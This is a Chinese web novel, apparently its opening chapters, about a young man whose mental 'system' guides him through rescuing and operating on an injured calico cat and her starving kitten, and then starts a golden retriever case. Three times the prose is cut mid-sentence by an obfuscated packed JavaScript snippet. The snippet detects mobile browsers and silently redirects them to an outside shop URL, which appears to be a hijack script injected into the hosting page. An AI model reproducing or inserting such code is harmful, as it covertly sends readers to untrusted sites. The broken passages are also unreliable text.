《动物救助所的奇妙日常》 1. 系统 “所以，你是想让我救助一些因为人类活动而陷入危机的动物们？” 和凭空出现在他脑袋里的系统聊了半天，温礼总算摸清楚对方的来意。 他有些新奇，又有些迟疑：“冒昧问一下，为什么选中了我？专业的动物保护人员应该更合适吧……迄今为止，我也就和猫狗这种常见的小动物打过交道。” 说白了就是没什么底气。 温礼是一名毕业即失业的普通人，大学专业是个和动物保护八竿子打不着边的冷门文科，硬要扯的话，他平时喜欢看各种动物的视频。 那些可爱的家养动物他喜欢，那些野性的自然动物他喜欢，有时候看到情况紧急的救助视频他总是格外揪心，恨不得自己钻进去帮忙……虽然他也不知道自己能做什么。 不过现在，似乎梦想成真了。 【不用担心，在系统的辅助下，宿主完全可以成为最专业的动物救助医师，所以系统挑选宿主的标准并不基于这方面的能力。】 系统回答道。 和刻板印象中的机械音不同，它的声音柔软而温和，不带有任何攻击性。 【经过分析筛选，系统确认当前宿主为最优人选，能最大限度发挥系统各项优势。已大致了解绑定系统相关内容，请问宿主是否愿意绑定？】 温礼很好奇：“如果我说不，你会离开吗？” 【是的，宿主。】 这和那些小说里上来就搞强制绑定的系统不一样，还怪良心的。 温礼想着，他回忆了一下目前已知的内容—— 绑定系统后他需要完成救助动物的各种任务，期间系统会提供帮助，完成任务会有奖励，此外保底月薪8k，并将拥有一家诊所作为工作场地。 大体是这样，更详细的内容需要绑定系统后才能知道。可以理解，这就相当于面试，只有进去了才知道岗位具体内容。 “我答应。” 温礼说，他认真思考过后，觉得自己没有拒绝的理由。 脑内放起了烟花的声音。 【感谢宿主的信任，希望我们合作愉快。】 成功绑定后的系统连声音都变得轻快了一点，但庆祝的烟花声才消下去，它的声音就陡然严肃起来。 【已检测到求助信息，请宿主做好准备。】 温礼一惊：“等等？这就要开始了吗？我不准备什么吗？” 他还以为绑定后先是带他去看看诊所，熟悉一下工作环境，然后再整理好装备出发呢。 才确定绑定就立刻行动，让他有种赶鸭子上架的局促感。 【宿主不必紧张。】 见温礼这个反应，系统安慰道。 【系统会根据宿主的实际情况接收任务，按照你们人类的说法，您可以把这次的救助工作当做是游戏里的新手关卡，实际情况并不复杂。】 【在这个过程中，宿主可以快速体验系统的功能，并且尽快进入工作状态。】 “好，我理解了。”温礼深呼气，“接下来我要怎么做？” 脑内系统的声音有那么一瞬间变得遥远。 【请宿主认真感受。】 【正在开启“共鸣”功能，定位救助目标。】 温礼只感觉身体变得有些轻盈，眼前的视野陡然漆黑，随后又亮了起来。 重新出现的视野很低，眼前是一片撒着阳光的草地，近在咫尺是两只在光下冒着绒毛的小猫爪。 温礼发现自己控制不了身体，对环境也只有模糊的感受，就像是在玩第一人称游戏，想到系统最后的那句话，他大概有了猜测。 眼前的场景大概是救助目标的视角。 它应该是只小猫崽，正舒舒服服地躺在草坪上晒太阳，温礼能听见“自己”喉咙里止不住发出呼噜呼噜的声音。 “喵呜。” 很快，耳畔响起了一声柔和的猫叫，随后视野微微晃动，悬空，就像是坐上了略微颠簸的迷你摩托，在花坛和小区的台阶上飞快穿梭。 它们绕过人行道上的路人们。 “呀，小花带着崽崽回家啦？” “不多晒会吗？今天的太阳很不错呢。” “小猫被养得真好，独生子果然营养不一样。” “这么大了还要被妈妈叼着走，羞羞。” 猫咪视角下只能看到人类穿着各种裤子的小腿，但这些话倒是听得一清二楚，不知道是不是听懂了最后一句，当被放下来后，小猫躲开了猫妈的咬脖子，坚定地叫了几声。 猫妈是一只非常漂亮的短毛三花猫，圆溜溜的眼睛外有一圈晕染的黑色，显得眼神温柔，它看着小猫，妥协地呼噜了一声。 小猫开始跟在家长后面。 它应该真的还小，很容易分心扭头去看抖动的叶子，飘过的彩带，再扭头才发现已经和家长相隔很远，连忙呜呜叫着小跑追上，然后没多久又重蹈覆辙。 好在猫妈很有耐心，总是会等它。 温馨且平淡的一幕，可看到不远处的车辆，温礼的心中泛起不祥的预感。 嘭！！ 果不其然预感应验了，作为视野主人的小猫上一秒还在分心地拨弄台阶上的杂草，下一秒因为巨响而转头，就看见原本应该在前方等它的家长倒下了。 它甚至没看到具体发生了什么，只知道刚才有那么一瞬间很吵，吵得它心跳都变快了。 “喵呜。” 看到猫妈倒在地上，小猫连忙跑上前，它闻到了一点血的味道，急得在猫妈的身边转圈圈，用脑袋去拱猫，呜呜地叫唤着。 很快，猫妈竟然奇迹般地醒了过来，它慢慢地爬起，发出急促的喘息声，它没有去安慰身旁嘤嘤撒娇的小猫，而是缓慢地继续往巢穴的方向走。 小猫再也不敢分心了，它追着妈妈的尾巴走，偶尔回一下头，看见方才走过的地方留下稀碎的血迹。 像是一串猫爪印。 回到它们的巢穴，这是一处公园的黄杨丛，低矮且密集的灌木将猫咪的身影完全遮蔽，是个绝佳的庇护所。 回到这里，小猫终于又放松了下来，它在这处已经腾出一定空间的隐蔽巢穴里玩耍，扯着那些光秃秃的树杈子磨牙。 而另一边的猫妈自始至终都很安静。 外面的天色黑了又亮，小猫很早就饿了，它朝着猫妈撒娇，轻轻蹭猫，可无论它怎么闹腾，猫妈都没有理会它，只是偶尔睁开一点眼睛，又很快闭上。 饿得不行的小猫只能啃附近的叶子，舔湿润的泥土，终于吞了点东西进肚里，随后蜷缩着，趴在猫妈身边睡着了。 …… 它终于发现猫妈似乎再没有外出的意思。 本能驱使小猫自己外出觅食，但最初的几次都没有找到吃的，耗费了体力，饿得它只能又啃了点随处可见的叶子，好不容易在一袋垃圾里找到了一块肉，可它自己却莫名吃不下去了。 于是它最后把食物叼回了巢穴，送到猫妈的嘴边，含糊不清地呜呜叫，像是在寻求夸奖。 闻到食物的味道，猫妈灰暗的眼睛终于有了短暂的波动，它张了张嘴，很轻很努力地咬住了肉，却还是只咬了一小口。 “呜喵~” 小猫因此而兴奋起来，它没有去吃剩下来的肉，而是开心地围着猫妈绕圈，用脑袋去蹭猫妈的脖子，猫妈也努力地舔舔小猫的脑袋。 但很快，猫妈又安静了。 接下来的场景，则是小猫不断地外出，觅食，叼着食物送到猫妈嘴边，最开始猫妈依然会回应，但随着时间推移，它已经越发虚弱了。 小猫不知道到底发生了什么，还在傻傻叼更多的食物回巢试图唤醒妈妈。可通过系统看到这一切的温礼清楚知道，出车祸的猫妈现在急需手术治疗，无法进食的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756503|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫也需要检查身体。 最后的场景，是小猫的又一次觅食。 这次它循着气味跳进了一个垃圾桶里，正咬着塑料袋时却忽然听见了巨大的响声，轰隆隆的仿佛地面都在颤抖，吓得它缩在垃圾桶里不敢动弹。 自以为躲好就安全的小猫浑然不知，真正的危险即将来临—— “……！” 温礼猛地眨了眨眼。 那些鲜明的场景，和猫咪同步的模糊感官在这一刻都从脑海中缓缓褪去，他感觉自己快速经历了一只幼猫饥饿且无助的两天，可低头一看，手表上连秒针都没走几格。 “刚刚那个就是……共鸣？” 他还有点恍惚，但很快他反应过来：“呃算了，先不用介绍细节，总之刚才的视角就是我要救助的目标吧？一只小猫现在在垃圾桶里，我听到了垃圾车靠近的声音，我们得赶紧去救它！” 【好的，宿主。】 系统的声音听起来非常欣慰。 【已成功定位救助目标，偏差范围200米以内，正在传送——】 偏差200米吗？ 温礼有些焦急，按照最后所看到的场景，小猫现在还躲在垃圾桶里，说不定下一秒就要被垃圾车装进车里，而一旦这样，他再想救它就很难了。 这么想着的他等到眼前场景一变换，来不及感慨传送的神奇，就立刻循着声音找到了小区里正在工作的垃圾车。 “等等——” 他一路狂奔，可还是慢了一步，等他跑到垃圾车旁，环卫工人们已经将最后一个倒干净的垃圾桶放回地面，而车上的刮板正用力压缩切割着一团垃圾，不知名的粘稠液体在刮板上来回涂抹，细碎的撕裂声被发动机轰鸣的声音掩盖。 没赶上吗…… 温礼的脸都要白了。 好在系统及时在脑海中提醒。 【宿主别担心，小猫并不在这里。】 不在这里？ 温礼懵了懵，这时候环卫工人们疑惑地看向他，问：“小伙子有什么事吗？你看起来很着急啊。” “没……我就是想扔个垃圾。”温礼打着哈哈，忽然灵机一动，“不过这边你们已经打扫过了，我有点不好意思丢。对了，你们接下来要去哪个点啊，我扔那边就好了。” “哎呦，你想丢就丢了，你们年轻人脸皮子也太薄了，这有什么不好意思的？” 不过一名环卫工人还是为温礼指了个方向，小区里的垃圾桶排布还算密集，几十米外就是他们接下来要打扫的点。 温礼连忙道谢并跑向那个方向。 狂奔时，他不忘在脑内和系统发表困惑。 “奇怪，我记得共鸣的最后一幕里垃圾车的声音已经很近了，甚至都可以感觉到那股震动，为什么现在却还没有发生？难道我看到的是未来？” 【是的宿主，您的猜想完全正确。】 【这就是系统共鸣的结果，由于您的独特天赋，不仅能够更加精确地定位目标并开启传送，还可以在一定限度上看到救助目标未来可能的发展。】 “怪不得会绑定我。”温礼恍然大悟，但还是感觉新奇，“太科幻了，我竟然看到了未来……” 【是未来的一种可能。】 系统温和地补充，此时的温礼早已跑到了垃圾桶旁，捏着鼻子挨个去看，很快就看到了一小团蜷缩在箱子里，睁着滴溜溜的警惕眼睛往上看的猫咪。 “哈——” 不顾幼猫虚张声势往里缩的哈气，温礼直接伸手揪住它的后脖颈，把它从垃圾桶里提溜了出来。 被人类大手揪住命运的后脖颈高高悬在半空，绿眼睛的狸花小猫耷拉着胡须，身体僵硬地旋转，在阳光下显得弱小可怜又无助。 【而现在，因为您的行动，这只小猫的未来已经彻底改变了。】 与此同时，系统这么说道。 2. 手术 “真是太臭了……” 直到揪着小猫往外走了十几米，一直屏息的温礼才终于能够大喘气，方才动作能那么干脆利落，也多亏了那股臭味。 他仔细打量着手里的小猫。 共享视野的状态下他看到的都是猫妈的样子，小猫自己倒只能看到爪爪和一点尾巴，现在他才知道小猫原来是一只四足洁白的绿眼狸花猫，看上去才两个月大。 小猫的肚皮鼓鼓，叫不知情的人看到，或许会以为这只小家伙才饱餐过，但温礼知道这些天小猫根本没吃过正常食物，现在肚子鼓成这样明显不正常。 这样下去哪怕没被垃圾车误装压缩，小猫也早晚会饿死的。 温礼恨不得立刻把小猫带走，但他现在还需要找到状态更加紧急的猫妈。 “可以把我直接传送到那只三花猫那里吗？” 【抱歉宿主，系统确定位置是基于成功共鸣的救助目标。】 得到否定回答后，温礼只能凭借记忆里的影像试探着找路，出小区门时还遇见了很尴尬的一幕——他没有门卡刷不出去。 保安看了他一眼，又看了眼被他拎在手里的小猫，问：“猫怎么了？” 温礼实话实说：“这只小猫身体出了问题，好几天没吃东西了，我现在得带它出去检查。” 保安又仔细打量他，温礼则坦然地张开手。 他身上穿着最简单的衬衫长裤，除了手腕上的手表和口袋里的手机什么都没有，虽然是生面孔，但看着也不像坏人。 “行，那你从这边过吧。”保安冲着他招手，等温礼过来，就看见保安从桌底掏出了一个空纸箱，往桌上一放，又垫了块布，随后递给他，“把猫放进去，总不能拎一路。” 温礼很惊讶：“谢谢，非常感谢！” 他原本还打算出小区找个便利店借纸箱呢，毕竟除了这只小猫，他还需要转移一下受伤的猫妈。 箱子足够大，他把手里的小猫放进去，小家伙被拎了一会忽然落地还没反应过来，温礼就赶紧把箱子的顶合上了。 “喵！喵！” 纸箱里传来细弱的猫叫声，小小的力道撞着纸箱的各个方向，温礼低下头，安慰了一句：“别怕别怕，我是在救你和你的妈妈。” 不知道是听懂了他的话，还是实在没有力气挣扎，箱子里逐渐平静下来。 而出了小区大门的温礼左看右看，终于在交错的道路中找到一条熟悉的路，顺着记忆里看到的沿途风景找了过去。 大概花费了五分钟，他找到了猫咪所居住的公园。 放眼望去是一排排复制粘贴般的黄杨丛，他看得眼花，也担心自己找得太久耽误救治，所以稍稍打开了一点纸箱的顶，让小猫能够探头出来。 “你的妈妈在哪？我们得赶紧找到它。” 看着小猫动着鼻子，直勾勾地盯着某个方向，温礼心领神会地立刻往那个方向走，当小猫开始忍不住叫唤，他终于在一丛灌木中看到了熟悉的入口。 打开纸箱的瞬间，小猫就跳了出去，随后钻进灌木，在树杈模糊的遮掩里，可以看见它正趴在另一只三花猫身边，瞪着眼睛看着外面的人类。 人类隔着灌木，也盯着它们，一动不动。 “喵——” 小猫叫了一声，它实在没什么底气，只能蹭蹭身边的猫妈汲取安慰，但并没有得到回应。 而就在这个时候，外面的人动了，他拨弄着走进了这处灌木丛。 感觉巢穴被入侵，小猫下意识又发出警告的哈气和嘶嘶声，但人类并没有关注它，而是把注意力全都放在了它的妈妈身上。 走近之后，已经隐约可以闻到一股腐臭的气味，除了地上那零散的“猎物”，还有一些来自猫妈的下身。 如果温礼没有看错，他甚至看到了几只苍蝇在那里盘旋。 但万幸的是，猫咪的腹部还有微弱的起伏。 “等会我这样端起它没问题吧？”温礼有点着急，但他知道这时候更不能出错，所以隔空比划了几次和系统确定，“不会加重它的伤势吧？” 【没问题，宿主，放心动手吧。】 温礼深呼气，慢慢弯下腰。 他的动作忽然一顿。 “那个，系统，我还有一个问题要确定一下。”温礼僵硬地扭了几度头，和已经跳起来勾住他手臂的小猫对视，“我等会需要打狂犬疫苗吗？” 系统沉默片刻。 【如果您心理上非常需要的话，我会为您提供。】 - 总之最后温礼还是成功带走了两只猫——以手臂上多出几道血痕和两个小坑的代价。 回到诊所的过程也非常科幻，系统指导他走到一个没有监控和视线的地方，随后眼前的场景便切换成了一间开在巷子里的兽医诊所。 “真酷。” 温礼忍不住感慨一句，单手推开诊所大门。 门后是一间有模有样的大厅，摆着沙发和小桌，角落里是各种笼子航空箱，墙壁上还钉着专门的猫隧道。 大厅后面有好几个房间，不过现在温礼没工夫挨个熟悉，他抱着纸箱，第一时间走进了系统所标注的房间。 “喵。” 打开纸箱，小猫正缩在猫妈身边，仰着脑袋看人，圆溜溜的猫瞳因为光线的进入而飞快缩成针状。 见人类再次对它的妈妈伸出手，它又是本能地发出哈气声警告，但这次倒是没直接冲上来又抓又咬了，反而在几秒后自己跳出了纸箱，围着在桌上工作的人类喵喵叫唤。 “别急，等会你也要检查。” 怕小猫干扰，温礼先把它放到了一旁的笼子里，随后继续在系统的指导下操作设备对猫妈进行检查。 他看过不少救助城市流浪猫的记录视频，印象里很多车祸的小猫都会因为胸腔出血肺部挫伤而飞快死亡，现在距离猫妈车祸时已经过去了两三天，猫妈还活着，证明它不是这种最棘手无力回天的情况。 猫妈现在仍处于昏睡状态，呼吸微弱。 检查结果显示猫妈主要是脊柱和盆骨的骨骼损伤，脏器也有一定程度的细微出血，当时的车辆大概率直接撞击到了它的后肢与臀部，难以想象车祸后的它究竟是怎么强撑着回到巢穴的。 现在必须进行手术。 温礼对相关治疗的方法一窍不通，但幸好手术室里的设备足够智能，并且脑袋里还有个全程耐心指导操作的助手系统。 剃毛，消毒，扎针，麻醉，插管…… 步骤一个接一个，渐渐的，猫咪的身上开始浮现出高亮显示和引导线，另附有文字解释说明和箭头指示，像是在玩一个零门槛的手术模拟器，就连本该严重影响判断的各种皮下组织都直接简化定格了，一切都一目了然，完全是所有医生都渴望配备的超强外挂。 直到把猫放进待观察的术后氧气舱时，温礼才终于从这种全神贯注的状态脱离出来，看着手里的蓝色医用手套，以及桌上琳琅满目使用后的工具，他不敢相信自己竟然就这么完成了一起手术。 刚才的他就像是一名大师，在手术台上冷静专注，下手干脆利落。 “这就结束了吗？我还以为这只是前期准备工作！”而现在的他后知后觉，吓得手都抖了，“我天，刚才我应该没有手抖吧？我有哪里做错吗？” 【不用担心，宿主，您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756504|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成得非常好。】 系统毫不吝啬地夸奖。 【手术很成功，评分完全可以达到优秀。】 温礼看向氧气舱，剃了许多毛的三花正趴在舱内，大半个身子都被包裹严实，露出的爪子还扎着留置针输液，整只猫毫无生气，看上去虚弱而可怜。 “它之后会好吗？” 温礼忍不住放轻声音。 亲手处理过猫妈的伤口，比起在片子上看到结论，更能够直观感觉到这躯小小的身躯上正在经受怎样的痛苦，哪怕手术顺利，也让人不由得担心起后续。 可惜系统给出了一个模糊的答案。 【不一定。虽然本次手术已经成功，但处理的时间较迟，部分伤口已经恶化，再加上猫咪许久未进食缺少能量，身体机能严重下降，之后有一定概率会出现炎症反应和器官衰竭……】 听完一系列专业分析，温礼忍不住叹气：“也就是说，能不能挺过最后这关，还得看它自己的努力了，我能做的只是给它一个术后康复的良好环境。” 【一般情况下是这样的。】 一般情况？还能有别的情况吗？ 温礼捕捉到了系统话语中的保留，他有心想要一探究竟，结果下一秒他就听见一声极为不满怨念的猫叫声—— “喵！！” 角落里被忽视许久的小猫愤怒地用爪子拍着笼子，气得变身响尾蛇，大张着嘴叫唤，这一声硬是叫了六七秒。 温礼连忙把猫放出来。 “抱歉，差点把你忘了，现在到你检查了。” “真的对不起嘛，别咬我啊……呃算了，那就保持这个姿势不动拍片啊。” 小猫的检查结果比起它的妈妈要简单许多。 和温礼先前怀疑的情况吻合，小猫的胃里堆积着无法消化的叶子和泥土。健康的猫咪可以适量吃些纤维促进排便，但猫咪毕竟是肉食动物，本身是无法消化纤维的，当胃里全都是这些东西的时候会严重影响它正常的进食，最后很可能导致猫咪直接饿死。 解决办法不算太难，通过胃镜手术帮助猫咪把这些异物用专门的抓取器械从胃里取出就可以了。 有了猫妈的手术在前，再加上不需要开刀，这次的手术非常顺利，大约只花费了一个小时，温礼就成功将小猫胃里的异物清除干净。 术后小猫还在麻醉，躺在垫子上吐着舌头，温礼摸了摸小家伙干枯毛躁的毛毛，将它装进笼子放在了猫妈的氧气舱旁边。 做完这一切，他如释重负：“总算是结束了。” 【您做得很棒，宿主。】 系统实时给出反馈，情绪价值拉满。 温礼：“还要多亏你的辅助，我只感觉在玩一个又一个的专注力小游戏，玩着玩着就结束了，完全没有压力。” 温礼：“我甚至都没觉得血腥！在手术台上的一切都像是打了游戏滤镜似的，好神奇啊！” 【这样的辅助形式主要还是基于宿主自身的天赋，您很厉害。】 和系统一顿商业互夸，温礼彻底从手术的紧绷状态中放松下来，这时候他才感觉到肚子饿得不行，拿出手机准备点外卖，发现距离他早晨九点把猫带进诊所治疗已经过去了整整十个小时，外面已经完全天黑。 向系统要了诊所地址，他赶紧点了份距离最近的外卖，很快外卖就到了，他坐在大厅里打开餐盒，赶紧扒拉一口。 好险，差一点就饿死了。 将外卖吃得一干二净，补充完能量，温礼先是去看了看里面两只猫的状态，确定一大一小都还在安静沉睡后离开，回到大厅。 现在，他总算是有时间问系统一些问题了。 3. 猫咪 “刚才我们聊到关于那只三花的术后康复，你说‘一般情况下是这样’，也就是说，还有其他情况？” 温礼立刻就问了他一直挂念的问题。 而系统也没有隐瞒。 【是的，其他情况就是宿主您的选择。】 温礼惊讶：“我的选择？” 随后，系统向他介绍了本应该一开始就向他介绍，却因为突如其来的紧急救助任务而暂时略过的任务详情介绍。 当系统确定救助任务完成以后，会给予奖励，除了最普通的现金奖励，还有随机发放的“奇迹因子”。 光听名字就非常神奇的一个奖励。 【它能带来奇迹的转机，使某件事的结果向好的方向倾斜，当然，这并不代表着绝对，也不意味着凭空出现一种新的结果，只是放大了某种可能，一切仍是不确定。】 温礼思考着这些话语：“也就是说，我可以用这个奇迹因子，增加三花术后康复的可能，而我对奖励的选择性使用，就是你说的其他情况？” 【是的，您说的没错。】 【当然，系统所要求的救助工作并不包括要求宿主对奖励的支配，宿主在系统指导下完成必要的救助工作即可。】 温礼懂系统的意思，这个奇迹因子除了用在救助动物上，完全也可以用在各种人和事身上，是属于员工福利项目。 简单点说，要是他哪天想买彩票，选择把这个奖励用在自己身上增加中奖概率，也是完全没问题的。 “我明白了。”他点点头。 随后系统又详细为温礼介绍了一遍他已经体验过的“共鸣”功能。 共鸣，就像是温礼体验过的那样，会在开启后使他和救助目标共享视野。他可以亲眼看到救助目标的生活片段以及零星的未来，从这些片段中判断危机的根源，提前想好解决方法，并在共鸣结束后直接锁定目标位置，通过系统进行精确传送。 而系统则像是一个雷达，时刻向外接收各种信号，范围覆盖整个星球，信号会经过系统的严格筛选，明确最后能到达宿主这头的求助信息必须符合以下三个条件—— 一、该目标的困境由人类活动造成，已经偏离了该目标的正常命运轨迹； 二、如果没有宿主接收任务，该目标将不可避免地走向死亡或其他悲剧； 三、截止接收信号时，系统现有功能足以辅助宿主帮助该目标摆脱困境。 这三个条件排除了人与动物间正常的生态关系，譬如养殖场的动物，野外的紧急避险（经典问题之人在野外快要饿死时能不能吃熊猫），也排除了现有动物保护组织或个人正在进行的有效救助工作，明确了合理且必要的救助范围，并确保宿主能够完成救助任务。 非常完善，但系统仍不忘补充。 【当然，第三点未来是可能变动的，因为随着宿主的成长，系统的功能也会不断增强完善。】 温礼大为震撼，同时也感觉肩上的责任重了不少：“好的，我会努力成长的！” 回味着那三条救助规则，他忽然感觉这些理念其实和现有的很多动物救助组织非常相似，都是在努力寻求人类和自然间的平衡。 他这么想，也这么说了。 系统给出了一个意料之外的回答。 【这些组织的理念的确可能是系统被创造之处设定各种原则时的参照。】 温礼有点惊讶：“这话的意思……你难道是从我们的未来来的？” 迟疑了几秒，他犹豫地问：“所以，未来很多动物，难道都已经灭绝了？所以你才来这里……” 系统沉默了几秒。 【那只是一种已经被改变了的可能，但现在的未来是未知的。】 它的声音格外平和，坚定。 【而宿主您，就是穿越之初我们精心测算出的“奇迹因子”。】 - 温礼感觉压力有点大。 隐约猜到系统来历后，他感觉自己肩上的担子又重了一点，连摸鱼都不好意思摸了，和系统结束聊天后就连忙来到房间里查看两只猫的情况。 猫妈的各项体征基本稳定，但还处于昏迷不醒的状态； 而小猫则已经缓慢从麻醉的效果中恢复，正跌跌撞撞地在笼子里站起来。 问过系统，确定要麻醉完全消退后才能给小猫喂食，温礼就没立刻准备食物，而是在笼子外观察小猫。 “喵呜……” 小猫弱弱地叫着，它看起来有点晕，站都站不稳，见笼子外来人，迷迷瞪瞪地望过去。 “你醒啦，手术很成功。”温礼玩了个网络梗，把手指伸进笼子里逗猫，“还有精神吗？等你麻醉过后，我就给你喂好吃的。” 见小猫还在东张西望，发出长长的叫声，温礼猜测它应该是想妈妈了，于是轻轻提起笼子，将它对上正在氧气舱里昏睡的猫妈。 果不其然，小猫一下安静了。 “它的手术也很成功，不过能不能醒过来还得看它自己的努力了。”温礼把笼子放回桌上，对小猫说，“据说求生欲强的猫可以更快康复，说不定你多叫几声妈妈，它会努力醒过来呢？” 说完温礼就去储物室给小猫准备专业的处方罐头和肉泥，在系统的建议下分成了好几份，他打算定几个闹钟，今晚每隔几小时就喂一次。 如果是普通工作，让他这样加班他肯定要怨气冲天了，但这会他倒是心甘情愿。 哪怕这在系统口中算额外的救助工作。 【可能会加重您的疲惫感，您今天已经工作很久了。】 温礼：“熬一晚上没什么的，既然救了就要好好负责嘛。” 他端起一碗肉泥，往猫咪所在的房间里走，一进门就看见了小猫靠在笼子边上，冲着隔壁氧气舱隔几秒就小声叫唤的场景。 他有些惊讶，有点怀疑这小猫听懂了他方才离开时的话。 “可以了，你嗓子都哑了。” 温礼伸出手指搓了搓小猫挤在笼子上的脑袋，观察它的状态，确定无误后打开笼子，把碗放进去，说：“先吃点东西吧，你应该也很饿了。” 小猫：“喵。” 这一声简直是小烟嗓，温礼忍不住弯了弯眼睛。 小猫看着笼子里增加的食碗，试探地嗅闻，伸出一点舌头舔舐，不同于前几天的艰难，它这次很快咽下了食物，并因为久违的进食而发出咪呜咪呜的声音。 而也正是在它成功进食后，系统的判定声响起—— 【恭喜宿主完成本次救助任务，奖励已发放。】 温礼有些惊讶：“这就算结束了吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756505|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【是的，系统认为必要救助工作已经完成，目标状态均趋于稳定，接下来诊所的监护任务系统将会代为监管，宿主可以随时准备全身心投入下一次的救助工作中。】 温礼了然。 他查看了系统给出的奖励，发现除了现金奖励有1000，名单上还有几个充实诊所的实物奖励，但很可惜的是，他并没有得到随机掉落的奇迹因子。 他原本还想直接用在猫妈身上，帮它脱离危险呢。 “喵。” 小猫的叫声唤回了温礼的意识，他低头一看笼子里的食碗已经空了，而小猫舔着嘴巴眼巴巴看着他，显然还没吃饱。 “等会再喂你，现在不能吃了。”温礼解释道，“你好几天没吃东西，又才做了手术，吃东西得慢慢适应，少食多餐。” 他打开笼子把食碗拿出来，本以为小猫会趁此机会跳出来，或者是趴在食碗上继续讨食，没想到小家伙安安静静窝在笼子里，只在他往外抽手的时候冷不丁歪头，用脑袋蹭了蹭他的手背。 手背蹭过一片柔软，温礼感觉自己的心都要融化了。 他没忍住放软了声音：“真聪明，你听懂了是不是？你知道我在救你们是不是？” 小猫呼噜了一声，在笼子里打了个滚。 那雪白的肚皮和翻起来的四只猫爪简直萌的不行，温礼差点就要把它抱出来亲一口，但鉴于小猫还在术后恢复，之前又钻过垃圾桶，只能等之后再吸猫了。 温礼意志坚定地转身离开。 接下来的后半夜，他间隔几个小时就进来给小猫喂吃的，同时检查猫妈的状态并根据系统指导及时调整输液速度、药物剂量、氧气浓度等内容，规律且充实地度过了工作的第一天。 第二天一早，温礼得到了一个好消息，氧气舱里的猫妈终于从昏迷中短暂苏醒。 它没有力气叫唤，身体也没怎么动，要不是系统提醒，温礼差点就错过了。 得知后他连忙拎起一旁的笼子，让小猫有机会和氧气舱里的猫妈对视。 “喵！喵！” 小猫明显兴奋起来，白色的山竹爪探出笼子缝隙往外招呼，激动得爪子都冒出来了。 猫妈原本黯淡的眼睛也亮了一点，它张着嘴，没发出声，但在努力开合。 “加油哦，小花。” 听见了熟悉的音节，小花的眼珠细微转动，看向了外面陌生的人类。 “果然我没有记错，你就叫这个名字。”对上那对虚弱的黄色猫眼，温礼如释重负地笑了笑，“加油活下去啊，我会尽可能帮你的，你的孩子也一直等你呢。” 小花又无声地张了张嘴。 …… 小花没能醒来太久，它依然处在术后的危险期，这段时期暂且只能靠它自身的努力，而温礼唯一能做的，就是在情况恶化出现炎症的时候提供支持与治疗——当然，这种情况最好是不要发生。 而现在，温礼即将开启新的救助任务。 【正在开启“共鸣”功能，定位救助目标。】 和上次一样的流程，温礼坐在大厅里放松身体，很快精神便链接到了新的救助目标。 视野变换，还没等他看清楚眼前的情景，就先听见身后传来一个女人的声音—— “卷卷快跑，快跑起来！” 4. 金毛 温礼还没反应过来，“自己”就嗖的一下就窜了出去。 阳光，草地，抛向远处的弹力球。 听着近在咫尺的粗重喘息声，又看着底下飞速舞动的狗爪子，温礼已经猜到这次救助目标的身份了。 “汪呜！” 它跑得飞快，跳到半空叼住了那颗绿色的弹力球，随后灵巧地转身，奔向不远处坐在长椅上的女人。 “哎呀，卷卷真棒，怎么跑得这么快呀！” 视野里的女人笑得很温柔，她伸出手摸了摸它的头，从口袋里掏出小零食奖励。 主宠和睦，气氛融洽，难以想象之后会遇见什么危机。 温礼才这样想，就看见视野中的女人抚摸着肚子，略微愧疚地说：“卷卷抱歉啊，妈妈最近不能陪你一起跑了，只能你自己跑了，会不会无聊啊？” 它低下头，温顺地把脑袋搭在女人的腿上，嘤了一声。 “之后让你爸爸带你出来玩好不好？”女人俯下身揉着狗狗的脸蛋，征询式的问，“他可以和你在公园里跑，也能带着你和其他狗狗玩，你愿不愿意呀？” 它当然没有意见，凑上去轻轻舔了舔主人的脸。 于是下一幕，长椅上的人变成了一个男人。 可与温柔耐心的女主人不同，他显然心不在焉，随便把球一扔就低下头玩手机，等狗狗把球捡回来时，只看到长椅上空空如也，连牵引绳都没了。 “汪呜？” 它呆呆地松开嘴，弹球在地上弹了几下，迷茫地左右环顾。 卷卷应该是一只聪明的小狗。 在椅子旁等了好久都没能等到人来接它，它便自己循着气味在地上嗅闻，慢慢找回去，可中途出现了一点意外，它遇到了其他的狗狗。 但最终卷卷还是找到了家。 原本吵得天翻地覆的小家因为它的回归而恢复和睦，卷卷却变得不再热衷于出门，只有当女主人带着牵引绳跟它说下去散散步时，它才会来到门口。 某天，女主人照常窝在沙发上抚摸着狗狗，摸着摸着忽然咦了一声，她问：“卷卷，你背着妈妈偷吃东西了吗？你的肚子怎么鼓鼓的？” 卷卷没有叫唤，安静地把下巴搭在女人腿上，听着腹中的另一个心跳。 